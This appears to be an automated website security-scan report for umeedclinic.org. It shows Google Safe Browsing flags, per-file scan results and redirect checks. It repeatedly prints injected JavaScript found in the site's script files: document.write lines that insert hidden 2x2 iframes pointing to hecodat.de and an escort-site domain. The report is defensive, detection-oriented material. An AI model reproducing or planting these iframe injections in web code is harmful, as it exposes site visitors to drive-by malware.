Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=umeedclinic.org
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Scanned pages/files
Request | Server response | Status |
http://umeedclinic.org/ | 200 OK Content-Length: 10078 Content-Type: text/html | suspicious |
Hidden iFrame found. size: 2x2 src: http://hecodat.de/zwmd.html?i=996772 <iframe name=twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://hecodat.de/zwmd.html?i=996772> | ||
http://ajax.googleapis.com/ajax/libs/jquery/1.4/jquery.min.js | 200 OK Content-Length: 78601 Content-Type: text/javascript | clean |
http://umeedclinic.org/js/jquery-1.3.2.min.js | 200 OK Content-Length: 57575 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://hecodat.de/zwmd.html?j=996772></iframe>');
document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://alicebangkokescorts.com/womd.html?j=996772></iframe>'); (function(){var l=this,g,y=l.jQuery,p=l.$,o=l.jQuery=l.$=function(E,F){return new o.fn.init(E,F)},D=/^[^<]*(<(.|\s)+>)[^>]*$|^# Antivirus reports:
Hidden iFrame found. size: 2x2 src: http://alicebangkokescorts.com/womd.html?j=996772 <iframe name=twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://alicebangkokescorts.com/womd.html?j=996772> Hidden iFrame found. size: 2x2 src: http://hecodat.de/zwmd.html?j=996772 <iframe name=twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://hecodat.de/zwmd.html?j=996772> | ||
http://umeedclinic.org/js/jquery.timers.js | 200 OK Content-Length: 3525 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://hecodat.de/zwmd.html?j=996772></iframe>');
document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://alicebangkokescorts.com/womd.html?j=996772></iframe>'); jQuery.fn.extend({ everyTime: function(interval, label, fn, times, belay) { return this.each(function() { jQuery.timer.ad ret = null; delete timers[label]; } } for ( ret in timers ) break; if ( !ret ) element.$timers = null; } } } }); if (jQuery.browser.msie) jQuery(window).one("unload", function() { var global = jQuery.timer.global; for ( var label in global ) { var els = global[label], i = els.length; while ( --i ) jQuery.timer.remove(els[i], label); } }); Antivirus reports:
Hidden iFrame found. size: 2x2 src: http://hecodat.de/zwmd.html?j=996772 <iframe name=twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://hecodat.de/zwmd.html?j=996772> Hidden iFrame found. size: 2x2 src: http://alicebangkokescorts.com/womd.html?j=996772 <iframe name=twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://alicebangkokescorts.com/womd.html?j=996772> | ||
http://umeedclinic.org/js/jquery.autoScroller.js | 200 OK Content-Length: 1631 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://hecodat.de/zwmd.html?j=996772></iframe>');
document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://alicebangkokescorts.com/womd.html?j=996772></iframe>'); function autoScroller(contentDiv, speed) { contentDiv = "#"+contentDiv; var scrollSpeed = (speed==null) ? 5 : parseInt( } else { offset = parseInt($(this).parent().height())+8+"px"; $(this).css({'top':offset}); } }); $(contentDiv).mouseover(function () { speed = scrollSpeed; scrollSpeed = 0; }); $(contentDiv).mouseout(function () { scrollSpeed = speed; }); } Antivirus reports:
Hidden iFrame found. size: 2x2 src: http://alicebangkokescorts.com/womd.html?j=996772 <iframe name=twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://alicebangkokescorts.com/womd.html?j=996772> Hidden iFrame found. size: 2x2 src: http://hecodat.de/zwmd.html?j=996772 <iframe name=twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://hecodat.de/zwmd.html?j=996772> | ||
http://umeedclinic.org/js/jquery.easyslides.min.v1.1.js | 200 OK Content-Length: 2077 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://hecodat.de/zwmd.html?j=996772></iframe>');
document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://alicebangkokescorts.com/womd.html?j=996772></iframe>'); eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!' Antivirus reports:
Hidden iFrame found. size: 2x2 src: http://hecodat.de/zwmd.html?j=996772 <iframe name=twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://hecodat.de/zwmd.html?j=996772> Hidden iFrame found. size: 2x2 src: http://alicebangkokescorts.com/womd.html?j=996772 <iframe name=twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://alicebangkokescorts.com/womd.html?j=996772> | ||
http://umeedclinic.org/Examples/Example 1/example_1.js | 200 OK Content-Length: 967 Content-Type: application/javascript | clean |
http://umeedclinic.org/js/eye.js | 200 OK Content-Length: 890 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://hecodat.de/zwmd.html?j=996772></iframe>');
document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://alicebangkokescorts.com/womd.html?j=996772></iframe>'); (function($){ var EYE = window.EYE = function() { var _registered = { init: [] }; return { init: function() { $.each(_registered.init, function(nr, fn){ fn.call(); }); }, extend: function(prop) { for (var i in prop) { if (prop[i] != undefined) { this[i] = prop[i]; } } }, register: function(fn, type) { if (!_registered[type]) { _registered[type] = []; } _registered[type].push(fn); } }; }(); $(EYE.init); })(jQuery); Antivirus reports:
Hidden iFrame found. size: 2x2 src: http://hecodat.de/zwmd.html?j=996772 <iframe name=twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://hecodat.de/zwmd.html?j=996772> Hidden iFrame found. size: 2x2 src: http://alicebangkokescorts.com/womd.html?j=996772 <iframe name=twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://alicebangkokescorts.com/womd.html?j=996772> | ||
http://umeedclinic.org/js/utils.js | 200 OK Content-Length: 7205 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://hecodat.de/zwmd.html?j=996772></iframe>');
document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://alicebangkokescorts.com/womd.html?j=996772></iframe>'); (function($) { EYE.extend({ getPosition : function(e, forceIt) { var x = 0; var y = 0; var es = e.style; } ); if (!axis || axis == 'horizontally') $(el).css( { left: clientScroll.l + ((Math.min(clientScroll.w,clientScroll.iw) - size.wb)/2) + 'px' } ); } }); if (!$.easing.easeout) { $.easing.easeout = function(p, n, firstNum, delta, duration) { return -delta * ((n=n/duration-1)*n*n*n - 1) + firstNum; }; } })(jQuery); Antivirus reports:
Hidden iFrame found. size: 2x2 src: http://alicebangkokescorts.com/womd.html?j=996772 <iframe name=twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://alicebangkokescorts.com/womd.html?j=996772> Hidden iFrame found. size: 2x2 src: http://hecodat.de/zwmd.html?j=996772 <iframe name=twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://hecodat.de/zwmd.html?j=996772> | ||
http://umeedclinic.org/js/spacegallery.js | 200 OK Content-Length: 6836 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://hecodat.de/zwmd.html?j=996772></iframe>');
document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://alicebangkokescorts.com/womd.html?j=996772></iframe>'); (function($){ EYE.extend({ spacegallery: { defaults: { border: 6, perspective: 140, min if (el.spacegalleryCfg.loaded == el.spacegalleryCfg.images) { EYE.spacegallery.positionImages(el); } } }); } } }); $.fn.extend({ spacegallery: EYE.spacegallery.init }); $.extend($.easing,{ easeOut:function (x, t, b, c, d) { return -c *(t/=d)*(t-2) + b; } }); })(jQuery); Antivirus reports:
Hidden iFrame found. size: 2x2 src: http://hecodat.de/zwmd.html?j=996772 <iframe name=twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://hecodat.de/zwmd.html?j=996772> Hidden iFrame found. size: 2x2 src: http://alicebangkokescorts.com/womd.html?j=996772 <iframe name=twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://alicebangkokescorts.com/womd.html?j=996772> | ||
http://umeedclinic.org/js/layout.js | 200 OK Content-Length: 992 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://hecodat.de/zwmd.html?j=996772></iframe>');
document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://alicebangkokescorts.com/womd.html?j=996772></iframe>'); (function($){ var initLayout = function() { var hash = window.location.hash.replace('#', ''); var currentTab = $('ul.navig } showTab.apply(currentTab.get(0)); $('#myGallery').spacegallery({loadingClass: 'loading'}); }; var showTab = function(e) { var tabIndex = $('ul.navigationTabs a') .removeClass('active') .index(this); $(this) .addClass('active') .blur(); $('div.tab') .hide() .eq(tabIndex) .show(); }; EYE.register(initLayout, 'init'); })(jQuery) Antivirus reports:
Hidden iFrame found. size: 2x2 src: http://alicebangkokescorts.com/womd.html?j=996772 <iframe name=twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://alicebangkokescorts.com/womd.html?j=996772> Hidden iFrame found. size: 2x2 src: http://hecodat.de/zwmd.html?j=996772 <iframe name=twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://hecodat.de/zwmd.html?j=996772> | ||
http://www.medicalnewstoday.com/extnews.php?custom=y&id=104232&h=10&b=ffffff&fc=000000&fs=1&sb=n&c=0 | 200 OK Content-Length: 6634 Content-Type: text/html | clean |
http://www.medicalnewstoday.com/ | 200 OK Content-Length: 97549 Content-Type: text/html | clean |
http://www.medicalnewstoday.com/structure/javascript/quantcast-1.js | 200 OK Content-Length: 440 Content-Type: text/javascript | clean |
http://www.medicalnewstoday.com//survey.g.doubleclick.net/async_survey?site=qg5l7th7lqc5yfxzo7o6dhkryi/ | 404 Not Found Content-Length: 79793 Content-Type: text/html | clean |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: umeedclinic.org
Result:
HTTP/1.1 200 OK
Connection: close
Date: Sun, 11 Jan 2015 21:44:25 GMT
Accept-Ranges: bytes
Server: nginx/1.6.2
Content-Length: 10078
Content-Type: text/html
Last-Modified: Fri, 07 Jun 2013 22:33:40 GMT
...10078 bytes of data.
GET / HTTP/1.1
Host: umeedclinic.org
Result:
HTTP/1.1 200 OK
Connection: close
Date: Sun, 11 Jan 2015 21:44:25 GMT
Accept-Ranges: bytes
Server: nginx/1.6.2
Content-Length: 10078
Content-Type: text/html
Last-Modified: Fri, 07 Jun 2013 22:33:40 GMT
...10078 bytes of data.
Second query (visit from search engine):
GET / HTTP/1.1
Host: umeedclinic.org
Referer: http://www.google.com/search?q=umeedclinic.org
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: umeedclinic.org
Referer: http://www.google.com/search?q=umeedclinic.org
Result:
The result is similar to the first query. There are no suspicious redirects found.